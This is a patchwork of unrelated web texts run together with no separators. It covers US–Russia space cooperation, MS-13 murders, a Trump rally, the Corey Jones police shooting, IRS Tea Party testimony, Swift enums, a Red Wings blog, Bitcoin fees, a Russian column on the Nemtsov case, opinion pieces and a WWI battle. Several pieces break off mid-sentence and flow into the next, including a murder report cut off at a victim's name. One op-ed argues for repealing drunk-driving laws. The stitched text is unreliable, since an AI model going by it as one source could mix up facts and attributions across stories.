That is good news for space advocates in both countries, analysts say, since the next phase of space exploration depends more on collaboration between the two nations than on the classic idea of competition.
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The next frontier in space will most likely be reached by NASA’s planned Space Launch System and Orion spacecraft, now in development to support human travel to Mars as well as the exploration of the moon and asteroids. For now, though, Russia is the only game in town for human spaceflight. Since the retirement of NASA’s Space Shuttle in 2011, Russian spacecraft are the only way for astronauts from either country to reach the International Space Station.
It’s in the long-term interest of both the U.S. and Russia to collaborate their space efforts, said James Oberg, a former space engineer and expert on the U.S. and Russian space programs. He called the relationship between the two nations on space issues one of “reluctant co-dependency” — the U.S. has more-advanced electronics technology, but Russia currently has an advantage in manned spaceflight and launches.
That means that the Cold War’s onetime “space race” is different, Oberg said. He compared it to a bicycle race like the Tour de France, where the pack of riders keeps together in a “peloton” that lets them take turns fighting the wind and keeping an eye on each other until the final sprint to the finish.
That sounds a lot like NASA’s description of its daily relationship with its Russian counterpart.
“Day in, day out, I think the most frequent contact on site is that we’ve got NASA personnel and contractors talking with cosmonauts constantly,” said Meredith McKay, deputy director for human exploration and operations in NASA’s international and interagency relations office. “Cooperation internationally with NASA pretty much covers the breadth of what we do, and Russia is one of our biggest partners.”
( Also on POLITICO: Full defense policy coverage)
But there are challenges to working with any foreign nation, Sofge acknowledged.“They have their own culture and their own way of doing business.”
Sequestration and the diminishing U.S. leadership role in space further complicate matters, Sofge said. Budget cuts have meant less travel, for example, which has caused NASA to rely more on video, email and telephone communications in lieu of face-to-face meetings.
Russia, meanwhile, is increasing its space spending. In April, President Vladimir Putin announced that the country would spend 1.6 trillion rubles, or $51.8 billion, on its space sector from 2013 through 2020, giving it a higher growth rate than any other world power.
NASA’s post-sequestration operating budget for fiscal year 2013 was about $16.8 billion, nearly 6 percent below 2012 levels and many orders of magnitude beneath the Defense Department, which had a base budget around $539 billion.
Russia hasn’t shied away from promoting its newfound space superiority, either. A Soyuz spacecraft crew took the Olympic torch on a spacewalk in November to generate buzz for Russia’s 2014 Sochi Winter Olympics. And Russia will reportedly charge NASA $71 million per astronaut to transport Americans to ISS aboard its Soyuz spacecraft starting in 2016.
( Also on POLITICO: Pussy Riot members released from prison in Russia)
Space advocates in Washington have slammed the White House for letting things come to this point. Sen. Bill Nelson (D-Fla.) warned as far back as 2008 that letting the Space Shuttle lapse could result in “Russia denying us rides or charging exorbitant amounts for them.”
And Texas Sen. Ted Cruz, the ranking member on Nelson’s Senate Science and Space Subcommittee, said the U.S. should rely more on defense and aerospace contractors — not the Russians — to pick up the slack in U.S. access to space.
“It’s critical that the United States ensures its continued leadership in space,” Cruz said.
For now, Oberg said, he expects Washington and Moscow to keep up their joint space operations despite their long-term diplomatic chill, because they need each other.
“There’s a lot of hand-waving about space partnership inspiring diplomacy,” he said. “That’s a lot of over-hype. Space partnerships reflect, rather than create, existing diplomatic relationships.”- Alexandria police announced Wednesday that two gang-related murders have been solved.
Police Chief Earl Cook said the murders were both carried out by members of the MS-13 gang. The victims were not in the gang, police said, but the murders were not random.
In November 2015, the body of Jose Luis Ferman Perez, 24, was found in Beverly Park by a woman who was walking her dog near a playground. The victim had been brutally slashed and killed.
Police said they have arrested three people connected to the MS-13 gang, including a 17-year-old male who is charged with murder. Police said a 16-year-old girl and an adult male will also be charged in the case.
In December 2015, Eduardo David Chandias Almendarez |
4 organization (FEIN 46-1534149). When there are so many charities on the Internet asking for donations, how can you make sure your contributions are legitimate? That’s why we invite you to check up on us before donating by finding out more about us on Guidestar, the most trusted guide to non-profits on the Internet.That is because @objc enums are "C-compatible enums", which intentionally do not emit any reflection information about their cases.
Since Swift is open source, we can nose around to see this for ourselves:
That's one version of "why", the implementation-focused. Now, let's step back one level and ask, why was it implemented this way? The comment by the emitCaseNames function for the C-compatible enums explains this: C-compatible enums don't guarantee a mapping from the enum raw value back to the tag, because, unlike the Swift-native enums, they can have multiple cases that all have the same raw value.
Now, if you try to declare an enum in Swift that duplicates raw values, you'll get your hand slapped and a compiler error. But you should be able to create such an enum by declaring the enum in Obj/C and then importing it into Swift over the bridge.What the hell is going on in Detroit?
Most Red Wings fan are used to seeing the Wings in the playoffs and some have literally grown up with Red Wings being in post season year in and year out for their entire lives. This kind of cuddling and massaging of a fan’s ego can do wonders for self-esteem and add to the beloved entitlement factor (you really saw this during the Parise/Suter sweepstakes). It is not the fans fault really. You tend to get a bit snobby when it comes to your team when not only are they always in the playoffs, but they are expected and predicted to have a good shot to run at the cup every year.
You can barely walk in the smugness that is left behind by most Red Wings fans, my boss and me included.
This notion, or expectation, is somewhat diminished today, right now. The Wings have been called “old” before (yawn) and have been questioned about their ability to make the playoffs before. It happened when coach Scotty Bowman retired, it happened when Steve Yzerman retired, and it happened when Fedorov left town. It happened once again when Lidstrom retired and Brad Stuart departed to play for the Sharks. This attempt to predict when Detroit is left out of the playoffs has put many pundits and fans of other teams face first into a giant cow turd.
So, is there finally merit to Detroit’s fall from grace? Have the pundits and jealous fans of other teams finally seen the day the Red Wings fall short and crumble to the bottomless pits amongst the likes of the Leafs and Habs of the world (sorry, cheap shot)?
Well, not exactly.
You see, we have seen the Red Wings play under the new leadership of Henrik Zetterberg and without Niklas Lidstrom for three games. While the first game was a complete shellacking by the Blues, the last two games against the Blue Jackets and Dallas Stars were not bad. Not bad for a team that is still trying to find its chemistry and let us not take out the injury debacle that is happening right now out of the equation completely – some players should come back as soon as Friday, thank God.
Everyone is pointing to the horrible defense of the Wings. Between HFBoards wanting Kyle Quincey’s head, correctly (figuratively, not literally), and quick judgment of Smith’s ability to play top-tier minutes, the fans are quick to get their torches out (remember, it is the Wings’ fans). Yet, I say the defense will be fine and Jimmy Howard can definitely make a save or two on his own as he showed during the Dallas game. The main issue the Red Wings are having right now is not with the defense, but more so with the offense.
As you can see from the image above we are struggling on our power play and we are struggling to score goals. The shots are there the past two games, so to me this is a sign of good things to come. There is no way a team with Datsyuk, Zetterberg, Franzen, and Brunner will not start scoring more goals while shooting that many pucks on net. What is of great concern here are those PP numbers I highlighted.
Before you start saying we miss #5 quarterbacking it, the issue started last year while he was still on the team, as seen below here:
The team finished the season going 9 for 78 and had a stretch of 8 games without a PP goal. Horrible. This is also why the team finished the season with a terrible record, 8-15. That was some ugly hockey that continued into the playoffs and resulted in the first round elimination.
So what is the problem on this PP, and when did it start?
It started right after Detroit’s record-setting victory against the San Jose Sharks. Detroit won its 23rd straight at Joe Louis Arena, setting an NHL multiple-season mark for home dominance by holding on to beat the San Jose Sharks 3-2. MacDonald was in net for that one and had been on a six-game win streak. The next game against Chicago, Detroit was without Datsyuk and things turned sour. Datsyuk had a knee surgery, and while I do not think this was entirely the issue, it most definitely hurt the Wings.
Important to note is that Detroit at that point was a top team in the West and everyone was again buzzing about a cup run, while soaking Detroit Red Wings in compliments and the ageless greatness.
After Datsyuk went down the team was not the same. Down the stretch, even when Datsyuk did come back, Detroit’s wings were clipped due to injuries to Franzen, Ericsson, Kindl, and Lidstrom. All of these injuries came at once and caused lots of line juggling by Mike Babcock. The addition of the AHL players into the mix surely would take time to get things going, and we see the same thing happening again this year.
I think the best case scenario here, and when the things were really going well for the Wings last year, is when they had Datsyuk and Zetterberg on two first lines. Datsyuk needs to touch the puck as much as possible and set up guys like Franzen, Bertuzzi, and Brunner for shots. Zetterberg needs to touch the puck as well, but he shoots more often and is really good with Filppula on the wing. Filppula is more affective on the wing as well, as we found out last year where he broke out to score over 60 points for the first time in his career. Slap a kid like Nyquist who is the same, if not better than, Hudler and watch him find success on the line with Filps and Hank. Do not forget that Hudler had a career year that yielded him a big contract over in Calgary.
The solution is really not to panic, but let the injuries settle and make sure to find a working power play. You need to let Kronwall drop the bomb from the point as much as possible and keep everyone moving. Getting this power play chugging and separating the Euro twins to me is the only way to get this train on the right track and to have another successful season.
Let me know if you agree.
Don’t forget to follow us on Twitter – @LastWordOnSport and @LastWordOnNHL
photo credit: Anna Enriquez via photopin ccFinland – Bitcoin’s economic system has been described as “revolutionary” by researchers at Finland’s central bank.
In a new staff paper published on the 5th of September, it was revealed by economists at the bank that the bitcoin blockchain technology is a “monopoly run by a protocol”. This conclusion was reached after months of investigations into the workings of bitcoin’s infrastructure as well as a probing of the technology that backs the blockchain.
The three authors of the paper, Gur Huberman, Ciamac Moallemi and Jacob Leshno are of the view that the modus operandi of the bitcoin blockchain offers it a degree of protection against manipulations by unscrupulous persons or programs due to its protocol layer dynamics.
“Bitcoin is a monopoly run by a protocol, not by a managing organization. Familiar monopolies are run by managing organizations with discretion to determine and then change prices, offerings and rules. Monopolies are often regulated to prevent or at least mitigate their abuse of power”
The paper also further states that because of this state of affairs, the bitcoin technology “cannot be regulated”.
“Bitcoin cannot be regulated. There is no need to regulate it because as a system it is committed to the protocol as is and the transaction fees it charges the users are determined by the users independently of the miners’ efforts.” The authors said.
Even though the document itself mentions that the views espoused there-in does not represent the official stance of the Bank of Finland, the publication is however a notable one due to the fact that the Bank has been largely involved with tech over the period.
The bank organized a seminar on blockchain last year and participants comprised blockchain companies, regulators and local academics in an effort to lend support to local research and efforts. The Finnish city of Kouvola for example received 2.4 Million Euros to test-run a blockchain –powered shipping system.
The authors of the paper concluded by advocating for additional research by more academics into the blockchain technology space.
“Bitcoin’s apparent functionality and usefulness should further encourage economists to study this marvelous structure.” they concluded.President Donald Trump announced on Twitter that he will hold a “BIG rally” in Pennsylvania next Saturday to mark the end of his first 100 days in office.
The rally is the same night as the annual White House Correspondents’ Dinner, which Mr. Trump has said he will skip.
Next Saturday night I will be holding a BIG rally in Pennsylvania. Look forward to it! — Donald J. Trump (@realDonaldTrump) April 22, 2017
Mr. Trump, who has been highly critical of media outlets since before he took office, announced he would not be attending the dinner in February. But this is the first announcement Mr. Trump has made about where he will be instead, on his 100th day in the White House.
Mr. Trump decried the 100-day marker as “ridiculous” on Twitter this week, but during the presidential campaign he laid out his own “100-day action plan to Make America Great Again.”
Trump policy push ahead of 100-day mark: health and taxes
Mr. Trump didn’t elaborate on what the rally in Pennsylvania will entail. The event will come after a busy week in Washington, D.C. Congress has until April 28 to pass spending legislation to avoid a government shutdown, and Mr. Trump said he will introduce a plan for tax reduction and reforms on Wednesday, something he already indicated would happen earlier in the week.
Big TAX REFORM AND TAX REDUCTION will be announced next Wednesday. — Donald J. Trump (@realDonaldTrump) April 22, 2017
Swing-state Pennsylvania delivered for Mr. Trump in the election, with large margins in hard-hit rural areas giving him the commonwealth’s 20 electoral votes. Mr. Trump held a victory rally in Hershey, Pennsylvania, after winning the White House.PALM BEACH GARDENS, Fla. -- Palm Beach Gardens Officer Nouman Raja, who had been placed on paid administrative leave after the shooting death of a black man near his broken-down vehicle on Interstate 95 in Florida, has been fired.
Questions surround killing of Florida musician by plainclothes cop
"The City of Palm Beach Gardens has been cautiously and methodically considering the employment status of Officer Nouman Raja. Therefore, Officer Raja, a probationary employee with the City, has been terminated from employment effective Wednesday, November 11, 2015 at 5:00 PM," a statement from the police department on Thursday read. "The independent criminal investigation into the Officer-Involved Shooting that occurred on October 18, 2015 is ongoing and the City will continue to cooperate with all agencies involved."
Corey Jones, 31, was shot to death in October by Raja, who stopped his unmarked van to check on what he thought was an abandoned vehicle and was "suddenly confronted by an armed subject," police chief Stephen Stepp has said.
Details of exactly what happened have not been released by police. Raja's van didn't have a dashboard camera and the department's officers do not wear body cameras, Stepp previously said.
CBS News' David Begnaud reports that John Kazanjian of the Palm Beach County Police Benevolent association said, "we are disappointed," after hearing of Raja's termination.
Jones' family also released a statement in regards to the termination.
"While we are pleased that the city of Palm Beach Gardens has terminated the employment of the officer who gunned down Corey Jones, we maintain that the officer in question also must be held criminally liable for his reckless actions that night," the statement read. "Our family remains hopeful that the outside agencies brought in to investigate Corey's killing will soon begin to yield factual information about how and why this officer acted so callously."
"Through all of the sorrow and pain that accompanied Corey's death, our family is encouraged by the multitude of well-wishers who have reached out to us during this difficult time. It is obvious that Corey touched many lives and for that we will be forever grateful," the statement continued.
A mourner cries at the funeral for Corey Jones at the Payne Chapel AME of West Palm Beach, Florida October 31, 2015.Jones was shot and killed by a plainclothes police officer after his car broke down on a highway exit ramp on October 18. Mike Stocker/Pool/Reuters
Begnaud reports that the chief and assistant chief went to Raja's home Thursday morning to let him know about the termination.
Jones was a musician who performed with local bands and had just left a gig early Sunday when his car broke down. A fellow band member tried unsuccessfully to jumpstart the car, then left Jones to await a tow truck along a dark ramp on I-95 in Palm Beach Gardens, an affluent city north of West Palm Beach.
Raja fired six shots and hit Jones three times, family attorney Benjamin Crump told reporters previously.
Jones' family said he may have thought he had to defend himself when Raja approached.
Jones was running away at some point, but there's no evidence he was shot in the back, Crump said. His body was found 80 to 100 feet from his car.
Florida cop who killed musician says he was confronted with gun
Investigators recovered a handgun on the ground, Stepp said, and records indicated Jones purchased the weapon legally three days earlier. Crump said Jones had a concealed carry permit.
Jones had the gun because he had expensive drums and other equipment, Crump said.
Jones' brother Clinton Jones Jr. during a rally in October said his brother would "not ever, ever, ever pull a gun on a policeman. Never."
"All lives matter. This is not a black thing," he said before introducing his wife, who is white. "We don't see color.... No disrespect to 'black lives matter,' all lives matter."
Jones, a graduate of the University of Akron with degrees in business administration and music, was passionate about drumming and organized monthly jam sessions where dozens of musicians from all over South Florida would come to the Bible Church of God and play gospel music -- and sometimes a little R&B -- well into the night. He was a quiet, laid back man who also enjoyed fishing, relatives said.
By day, he worked as a public housing inspector and also mentored at My Brother's Keeper, an organization for black youth, according to his LinkedIn page
Raja, 38, didn't have any disciplinary actions or complaints since joining the Palm Gardens force in April, according to records. He previously worked seven years at the Atlantis Police Department, another small city in Palm Beach County.This year, we celebrated the ten year anniversary of the International Criminal Court, the institution created to put an end to impunity for the perpetrators of the most serious crimes of concern to the international community as a whole.
It took more than 50 years in order to see the birth of this institution, a true revolution in international justice.
The drafters of the Rome Statute were conscious that "all people are united by common bonds, their cultures pieced together in a shared heritage". The values that form the Court are indeed universal, building upon the rights that were proclaimed in the Universal Declaration of Human Rights in 1948. As article 2 states, "... no distinction shall be made on the basis of the political, jurisdictional or international status of the country or territory to which a person belongs, whether it be independent, trust, non-self-governing or under any other limitation of sovereignty."
As beautiful as these words may sound, 64 years after that solemn declaration, we are facing a completely different reality. Countless peoples are still discriminated against and huge distinctions are made between individuals, simply because of the political status of the land into which they are born.
The Palestinian people have consistently been discriminated against precisely because of the lack of independence in their territory and the limitation of sovereignty imposed on them since the creation of the State of Israel - that very same year.
The human rights situation in the occupied Palestinian territory is worsening year after year. The right to self-determination and the achievement of a Palestinian State appear as lofty ideals vis-a-vis the reality on the ground.
The Palestinian people are forced to demand the basic building blocks of survival: Freedom of movement, the right to food, to health, to education, to work, and even the right to life.
Inside Story
Israel: A 'democratic' violator of rights?
The situation in the West Bank and in Jerusalem is deteriorating under occupation and expanding settlements, with the entire world as a witness.
In the Gaza Strip, 1.7 million people are subjected to a heinous form of collective punishment, cut off from the outside world and forced into de-development.
These same people, protected persons of international humanitarian law, are subjected to relentless attacks. During the so-called "Operation Cast Lead", it was the civilian population in the eye of the storm, denied even the possibility to flee. Over 80 per cent of all casualties were civilians. All this happened under the eyes of the international community.
The UN Fact Finding Mission on the Gaza Conflict found that war crimes and crimes against humanity had been committed. Most importantly, the Report outlined mechanisms of accountability at the national and, in case of failure, the international level.
Nearly 4 years later, we have not seen any proper investigation at the national level.
As concluded by the UN Committee of Experts, "the official inquiry must be conducted by a truly independent body, given the obvious conflict inherent in the military's examining its own role in designing and executing 'Operation Cast Lead'."
Worse still, the international community has looked on once more as Israel carried out yet another offensive involving disproportionate and indiscriminate attacks which caused the loss of many civilians lives. Almost two-thirds of those killed and 97 per cent of those injured during "Operation Pillar of Defence" were civilians.
Even before "Operation Cast Lead" has been properly investigated, yet another large-scale offensive has left many more victims in its wake.
Now, I ask you, which independent body shall investigate both of these offensives if not the ICC?
It was in January 2009 when the Government of Palestine lodged its declaration under article 12(3) of the Rome Statute accepting the jurisdiction of the Court. Thirty six months later, the result of the preliminary examination of the Prosecutor was a deceptive two page decision.
The States that have ratified the Rome Statute have stated their commitment to the rule of law as the basis of global society. The States partied to the Rome Statute have the power to put an end to impunity for the systematic crimes committed in our territory.
There can be no exception to the rule of law, leaving people without the protection they are entitled to. Violations of international law must be addressed. Not only for the sake of victims, but for the very credibility of international law, and of this institution, the ICC itself.
Raji Sourani is Director of the Palestinian Centre for Human Rights, based in Gaza.New testimony from IRS officials claims that Lois Lerner, the director of the IRS's Exempt Organizations division, instructed employees to send Tea Party group applications for tax-exempt status through a multi-layered review that included the IRS chief counsel's office, which is led by Obama appointee William Wilkins.
Lerner "sent me email saying... when these cases need to go through multi-tier review and they will eventually have to [through her staff] and the chief counsel's office," said Michael Seto, the head of the IRS unit that was handling Tea Party applications.
This new testimony suggests that the decision to target Tea Party organizations came from Lerner herself, and that Wilkins' office was closely involved in some of the applications.
Tax law specialist Carter Hull, who works for Seto, testified that despite his 48 years of experience approving or denying tax-exempt status applications, he was told in the winter of 2010 that, at the direction of Lerner, the applications would need to be sent to the chief counsel's office for further review. Hull said never before in his nearly five-decade career had he been told to send applications up the pipeline.
Hull testified that the IRS chief counsel's office told him that updated information was needed for the applications. Hull found this surprising because he had already provided updated information when he made his recommendations of whether to approve or deny the applications. It was suggested he use a template to develop Tea Party applications, which Hull found impractical because every application was different.
Hull's supervisor, Ronald Shoemaker, told the committees about the additional information requested by the chief counsel's office, which included the applicants' 2010 election activities. This additional information caused the entire approval process to slow down.
Several congressmen, including Rep. Darrell Issa, R-Calif., are requesting documents from the IRS relating to this new testimony. "As a part of this ongoing investigation, the Committees have learned that the IRS Chief Counsel's office in Washington, D.C. has been closely involved in some of the applications," Issa and others wrote in a letter to acting IRS Commissioner Daniel Werfel. "Its involvement and demands for information about political activity during the 2010 election cycle appears to have caused systematic delays in the processing of Tea Party applications."+ T -
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Арестованы подозреваемые в убийстве Бориса Немцова, жители Кавказа, говорит Бортников. «Я знал Заура как настоящего патриота России», – откликается Рамзан Кадыров, и этим оценочным суждением пост чеченского национального лидера далеко не исчерпывается. Глухо молчавший в последние дни, когда ФСБ задерживала его соотечественников, Рамзан Ахматович на сей раз высказывается подробно.
Заур Дадаев – «бесстрашный и мужественный» герой, награжденный орденом и медалями, гроза террористов. При этом Кадырову «непонятны истинные причины и мотивы увольнения Заура из рядов ВВ МВД России», что и вправду постичь нелегко. Из другого, ингушского источника, мы еще позавчера узнали, что патриот никуда не увольнялся и служил замкомандира полка чеченского батальона «Север». Что же касается другого подозреваемого, Беслана Шаванова, «погибшего накануне» в Грозном «при попытке задержания», то и он, по словам Рамзана, «был храбрым воином». И вот еще такой вопрос интересует руководителя ЧР. «Все, кто знает Заура, – пишет Кадыров, – утверждают, что он является глубоко верующим человеком, а также, что он, как и все мусульмане, был потрясен действиями Шарли и комментариями в поддержку печатания карикатур». А разве «исламский след» не выдвигался прославленным Маркиным в качестве одной из версий при расследовании убийства? И что это означает применительно к героям борьбы с террором?
Обычно арест подозреваемых проливает свет на преступление, но здесь явно не тот случай. Читая свежие новости, посвященные теракту на Большом Москворецком мосту, запутываешься окончательно. Кого, собственно, поймали – героев или злодеев? Отважных бойцов за суверенную демократию, наемных киллеров, позорящих, по словам Путина, Россию, дерзких бандитов или вовсе невиновных, назначенных убийцами?
Ясно лишь, что противоборствуют между собой две силы. Два административных ресурса – собирательная Лубянка и Рамзан Кадыров. И в этом состязании, которое является продолжением чеченской войны другими средствами, шансы сторон примерно равны. А над ними горным орлом парит гарант Конституции, и размах крыл его столь широк, что покрывает их всех – и собирательную Лубянку, и несомненного Рамзана.
Мы ведь уже наблюдали в судах нечто подобное – при всем разнообразии прежних, с уклоном в политику криминальных сюжетов. Погибшие Анна Политковская и Юрий Буданов – оба они считались личными врагами Кадырова, в обоих процессах на скамье подсудимых сидели его земляки, судебные прения поражали своим драматизмом, в обоих случаях заказчики убийств так и не были названы.
Впрочем, имеются и несомненные отличия. Про Политковскую и про Буданова, не видя особой разницы между ними, Рамзан Ахматович высказывался лично – и до, и после убийств, и с той ненавистью, которая обличает истинные чувства. Про Бориса Немцова он ничего конкретного не говорил, разве что вскользь поминая его среди врагов Путина и прочих «шайтанов». А после убийства оппозиционера склонялся к мысли, что преступление «организовали спецслужбы Запада, стремящиеся любыми путями вызвать внутренний конфликт в России». Хотя допускал, что и без бандеровцев не обошлось. И вот такая неожиданность: возможными пособниками Обамы и Порошенко оказались герои и патриоты. Сенсация, можно сказать, и Кадыров не скрывает, что потрясен и намерен если не полностью оправдывать, то вступаться за подозреваемых.
Загадка.
Впрочем, ежели с открытым сердцем посмотреть это нашумевшее видео, где среди солдат «боевой пехоты Путина» почти наверняка находились будущие фигуранты дела об убийстве, то ситуация несколько проясняется. Можно предположить, что пехота приступила к боевым действиям, но собирательную Лубянку об этом заранее не проинформировали, и при помощи случайных прохожих, которые случайно пасли возле Кремля известного оппозиционера, убийство раскрыли в считанные дни. Однако Кадыров, как всегда, неуязвим для силовиков, и вот он комментирует ход расследования. Заодно подсказывая соотечественникам, как им следует вести себя во время суда. Обиделись, мол, на французских журналистов и на Немцова, который выступил в их защиту, ну и не сдержались. Вспыльчивые очень, что свойственно героям. Оскорбление чувств верующих, смягчающее обстоятельство, и грамотные адвокаты наверняка будут об этом говорить.
Но это лишь одна из версий. Ибо спектакль, который разыгрывается на наших глазах, подразумевает множество сюжетных ходов, истинных героев и полуанонимных, а также настолько знаменитых авторов, что они предпочли скрыться за спиной не на шутку разволновавшегося Рамзана и тех, кого протащили по коридорам Басманного суда. Сюжет непонятен. Однако скорбный жизненный опыт, что ли, но скорее чувство, которое тоже можно назвать оскорбленным, подсказывает, что главный герой в этом сюжете все-таки не Заур Дадаев, не Рамзан Кадыров и даже не Владимир Путин.
Главным героем был и остается Борис Немцов, убитый подонками по заказу подонков, но что нам делать с этим тайным знанием, пока неясно. Важно только не скрывать его от самих себя, остолбеневших при чтении свежих новостей, и от публики, которой, по давней традиции, в качестве убийц предъявили чеченцев. Пьеса только начинается, и пистолет валяется на сцене, хотя выстрелы уже прозвучали.Bitcoin transaction fees remain a big problem in the cryptocurrency world. It seems there is no real short-term solution to resolve this problem whatsoever. Some network upgrades are in development, but they might take months or even years to come to market. An interesting chart shows how the Bitcoin fees have doubled nearly every three months. These numbers are based on the median average fee, mind you.
Bitcoin has a serious problem which only becomes more apparent over time. Spending a lot of money as a transaction fee is never a fun experience. Unfortunately, it has also become the new normal in the world of Bitcoin over the past year and a half. Combined with network congestion, it is evident the world’s leading cryptocurrency has issues to sort out. That is always easier said than done, though. Even the introduction of SegWit has done virtually nothing to address the fees problem.
Bitcoin Fees Follow a Worrisome Trend
A recent chart shows how the Bitcoin transaction costs are evolving over time. Since April of 2016, things have certainly gotten out of hand quite a bit. Both on the high and low side of the spectrum, worrisome increases can be noted. The higher fees have doubled almost 10 times in the past 24 months. That is very worrisome and it seems there is little improvement in sight. Granted, not everyone pays high Bitcoin transaction costs, or at least, we can only hope that is the case.
Unfortunately, the “lower” median fee is also increasing. It has doubled every three months since June of 2016, which is rather worrisome. Although a lot of people don’t mind waiting hours for network confirmations, it’s still a disturbing development. Everyone assumed Bitcoin would remain a cheaper alternative to send money around the world. Right now, it fails to live up to those expectations in spectacular fashion. If the Bitcoin fees don’t come down quickly, this situation will get out of hand even further.
The chart also shows Ethereum and Bitcoin Cash fees. Despite the growth of both networks, it seems Bitcoin is off far worse. Ethereum has a fair few spikes as well, but Bitcoin fees are rising in a steady fashion. It will be interesting to see how such a chart looks in a year from now. It is evident Bitcoin is well on track to maintain a $10 fee per transaction or possibly even more. That is not the Bitcoin most of us envisioned, though. Rest assured there will be some backlash over this development if things don’t improve quickly.Today in lame-ass people trying and failing to convince non-lames that their jobs are not lame, we have a disastrous attempt at relevance from the New York City Police Department. A New York Post-spotted video of the commanding officer of the department's Seventh Precinct on the Lower East Side and an assortment of neighborhood coordination officers is here to test your patience, and—holy fuck!—it's quite the test.
The clip begins with a nod to Drake's 2015 classic "Energy." For those keeping track at home, 2015 was nearly three years ago. The track is basically vintage now. At the time of this writing, it was unclear why someone would choose to make such an antiquated reference.
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"If this is the new police department, I'm glad I'm retired," a retired NYPD cop and presumed music historian told the Post Monday. After spreading embarrassment across the internet, the clip was reportedly removed amid mockery. In the event the rip up top is also taken down, catch the shit show here in full.
This is far from the first time a police department has been roasted into oblivion for its questionable community outreach efforts. The Billings Police Department in the just-do-yourself-and-avoid-it-entirely state of Montana, for example, scared people to death by pulling them over for minor traffic violations last month, only to eschew tickets in favor of turkeys.0 TSA agent arrested, charged with faking cancer for 5 years
ATLANTA - Federal agents arrested a local TSA agent accused of faking cancer for five years to get out of work.
Since 2009 investigators say security Officer Marc Bess told his bosses at the Transportation Security Administration that he was very sick with cancer, abdominal lymphoma in fact.
Investigators say he forged notes from a physician detailing radiation, surgery and ongoing treatment that he needed to undergo.
The trouble is investigators say it was all made up.
“It is unethical and it is wrong and what about all the people that do have cancer,” said passenger Shelley Hoisington, “I think he should pay back all the time he got for being sick.”
According to a criminal information document filed by the U.S Attorney for the Northern District of Georgia, Bess wrote fake doctors notes and the TSA caught on after discovering the doctor who he signed off as was dead.
“I’m glad he got caught and I hope they throw the book at him,” said Joe Ellwood, a passenger.
Court records show that investigators believe he took 2,240 hours in sick leave. That’s about 280 sick days if you work an eight-hour work day over a five year time period.
“A lot of employers don’t even offer paid time off for one, and a lot of people get sick and they lose they jobs, and you have a person abusing the system,” said Myia Wood, a disability attorney, based in Atlanta.
Court records show that the majority of the paid leave time was transferred to Bess by other employees as part of a “Voluntary Leave Transfer Program” that the TSA offers.
“TSA policy is to question any uncertain medical documents. TSA initiated this investigation. The individual is no longer employed by the federal government,” said a TSA spokeswoman in a statement.
Bess is expected in court for a plea hearing on May 11 to face embezzling/stealing public money charges.
The U.S Attorney’s Office is not commenting further on the case. Bess did not return a voice message left on his cellphone. He is out on bond.I have long reviled New York City Mayor Michael Bloomberg, who keeps puzzlingly being elected, despite his extreme views on personal liberty and the intrusive role of government in citizens lives. However, Sunday marked a new high low for the Mayor, who stated on NBC’s “Meet the Press”, “I do think there are certain times we should infringe on your freedom.”
This was in the context of his ridiculous ban on sugary drinks larger than 16 ounces being struck down. However, it is indicative of the broader thinking of this statist slug, and those who share his way of thinking: that government knows more than you do, is smarter than you are, and knows what is best for you. There are very few people on this earth capable of making decisions about what is best for an individual than that individual himself. Or perhaps that individual in conjunction with a trusted doctor. Everyone else pretty much knows jack about you, your situation and what the best path for living your life would be.
Yet, this doesn’t stop simpletons like Bloomberg from trying to tell you what you should or should not do, eat, drink, watch, smell, dance on or around, etc., etc. He even wants to have hospitals hide formula and pressure mothers into breastfeeding. Because he knows more than you. Because he feels that his position of power has somehow given him an omnipotent knowledge of all things. I don’t know how having a background in the stock market, and designing terminals that provide data on Wall Street to traders equates to a level of realization spanning all medical, social and criminal realities, but somehow Bloomberg has brought that ability into our physical realm. Just like countless other politicians before him have, regardless of their backgrounds.
It’s quite an amazing contrast to look at the iron-fisted approach Bloomberg attempts to take regularly with his city as opposed to that taken by the Irish city of Kilgarvan. That town has just passed a motion legalizing drinking and driving. Kilgarvan passed the motion to allow some people (additional reports now have revealed it would be on a “permit” basis) to have a few drinks at a local pub and get home on little-used roads, to encourage socialization in a town where the population is spread out. So yes, it’s different than if a densely packed metropolis was to pass a similar law, though I would still be for it as there are many good reasons for repealing the Constitutionally-illegal drunk driving laws here. I |
and we’re a two-man team (as opposed to NBC’s Parenthood, where every night there is a family reunion and everyone pitches in!). Preferential treatment is part of the territory, and like everything else, e take the good with the bad, even if the bad is an ungrateful toddler’s arbitrary decision to refuse his father’s touch for a few nights in row. Mommy gets some extra love that occasionally curdles into irritating over-dependence and I get a brief reprieve that occasionally sours into feelings of being unwanted.
Together we help each other through, trading off when we can, secure in the knowledge that if we can just hang on – for another ten to twelve years at most – our sweet little guy will no longer play favorites.
He’ll hate us both equally.
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Like this: Like Loading...Battles - The Battle of Lake Naroch, 1916
Under pressure from the Germans at Verdun in early 1916, the French Commander-in-Chief Joseph Joffre pressed his allies to launch offensives of their own to draw forces away from Verdun wherever possible and to place Central Powers forces under increased pressure (a policy agreed during the Chantilly Conference of December 1915).
Britain responded - belatedly - with the Battle of the Somme in July; the Italians with another Isonzo battle. Russia, under Chief of Staff Alexeev, responded with an offensive drive in the Vilna-Naroch area (Lithuania today).
With 1.5 million Russian forces facing just 1 million combined German and Austro-Hungarians the Russian prospects appeared good. Alexeev consequently chose to launch the offensive in the north where the numerical disparity was at its greatest.
He therefore instructed General Kuropatkin's Northern Army Group to attack from the northeast towards Vilnius; the focus of the attack however was to be from the east of the city, led by General Smirnov's Second Army (part of Evert's Western Army Group) consisting of 350,000 men and 1,000 guns, against which were ranged just 75,000 men and 400 guns of Eichhorn's German Tenth Army.
Preceded by a wildly inaccurate two-day artillery bombardment - the heaviest to date on the Eastern Front - the Battle of Lake Naroch was launched on 18 March 1916 using dated breakthrough tactics.
The infantry assault unleashed following the artillery bombardment became rapidly bogged down in the mud associated with the developing spring thaw. Ill-prepared and lacking an effective supply system the attack was a notable failure. Russian forces bunched up during attack and consequently made ready targets for machine gun fire.
The Germans lost 20,000 men in casualties during the battle; however Russian losses were significantly higher, at 70,000 at Lake Naroch with another 30,000 further north. Subsequent follow-up attacks on 19 and 21 March proved similarly unsuccessful.
Meanwhile Kuropatkin's advance from Riga, begun on 21 March, was beaten back within a day with the loss of 10,000 men. A minor success was achieved however by General Baluyev's Second Army, which advanced a few kilometres along the shores of Lake Naroch while under cover of fog.
Artillery attacks continued into April but German counter-attacks succeeded in recovering what little ground the Russians had succeeded in capturing. The attack had not caused the Germans to divert resources from Verdun; in this respect alone it was therefore a notable failure.
